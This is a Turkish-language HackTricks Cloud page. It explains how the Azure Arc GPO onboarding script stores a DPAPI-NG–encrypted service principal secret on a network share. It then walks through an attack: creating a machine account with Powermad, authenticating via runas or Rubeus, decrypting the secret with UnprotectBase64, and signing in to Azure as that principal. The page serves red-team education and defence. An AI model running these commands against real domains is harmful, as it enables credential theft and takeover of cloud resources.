Az - Arc vulnerable GPO Deploy Script
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Sorunların Belirlenmesi
Azure Arc, yeni iç sunucuların (etki alanına katılmış sunucular) Azure Arc’a Grup Politika Nesnesi yöntemiyle entegrasyonuna olanak tanır. Bunu kolaylaştırmak için Microsoft, onboarding prosedürünü başlatmak için gerekli bir dağıtım araç seti sağlar. ArcEnableServerGroupPolicy.zip dosyası içinde şu betikler bulunur: DeployGPO.ps1, EnableAzureArc.ps1 ve AzureArcDeployment.psm1.
DeployGPO.ps1 betiği çalıştırıldığında aşağıdaki işlemleri gerçekleştirir:
- Yerel etki alanında Azure Arc Sunucuları Onboarding GPO’sunu oluşturur.
- EnableAzureArc.ps1 onboarding betiğini, onboarding süreci için oluşturulan belirlenen ağ paylaşımına kopyalar; bu paylaşım ayrıca Windows yükleyici paketini de içerir.
Bu betiği çalıştırırken, sistem yöneticileri iki ana parametre sağlamalıdır: ServicePrincipalId ve ServicePrincipalClientSecret. Ayrıca, etki alanı, paylaşımı barındıran sunucunun FQDN’si ve paylaşım adı gibi diğer parametreler de gereklidir. Kiracı kimliği, kaynak grubu ve diğer gerekli bilgiler gibi daha fazla ayrıntı da betiğe sağlanmalıdır.
Belirtilen paylaşımda AzureArcDeploy dizininde DPAPI-NG şifrelemesi kullanılarak şifrelenmiş bir gizli anahtar oluşturulur. Şifrelenmiş gizli anahtar, encryptedServicePrincipalSecret adlı bir dosyada saklanır. Bunun kanıtı, DeployGPO.ps1 betiğinde, şifrelemenin $descriptor ve $ServicePrincipalSecret girdileri ile ProtectBase64 çağrılarak gerçekleştirildiği yerde bulunabilir. Tanımlayıcı, Domain Computer ve Domain Controller grup SIDs’lerini içerir ve böylece ServicePrincipalSecret’in yalnızca Domain Controllers ve Domain Computers güvenlik grupları tarafından şifresinin çözülebileceği belirtilmiştir.
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
Exploit
Aşağıdaki koşullara sahibiz:
- İç ağa başarıyla sızdık.
- Active Directory içinde bir bilgisayar hesabı oluşturma veya kontrol etme yeteneğine sahibiz.
- AzureArcDeploy dizinini içeren bir ağ paylaşımını keşfettik.
AD ortamında bir makine hesabı elde etmenin birkaç yöntemi vardır. En yaygın olanlardan biri makine hesabı kotasını istismar etmektir. Diğer bir yöntem, savunmasız ACL’ler veya çeşitli diğer yanlış yapılandırmalar aracılığıyla bir makine hesabını tehlikeye atmaktır.
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Bir makine hesabı elde edildikten sonra, bu hesapla kimlik doğrulamak mümkündür. Ya netonly bayrağı ile runas.exe komutunu kullanabiliriz ya da Rubeus.exe ile pass-the-ticket yöntemini kullanabiliriz.
runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
Bilgisayar hesabımız için TGT’yi bellekte saklayarak, hizmet prensip gizliliğini şifre çözmek için aşağıdaki betiği kullanabiliriz.
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
Alternatif olarak, SecretManagement.DpapiNG kullanabiliriz.
Bu noktada, şifrelenmişServicePrincipalSecret dosyasıyla aynı ağ paylaşımında saklanan ArcInfo.json dosyasından Azure’a bağlanmak için gereken kalan bilgileri toplayabiliriz. Bu dosya, TenantId, servicePrincipalClientId, ResourceGroup gibi ayrıntıları içerir. Bu bilgilerle, Azure CLI kullanarak ele geçirilmiş hizmet ilkesi olarak kimlik doğrulaması yapabiliriz.
References
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

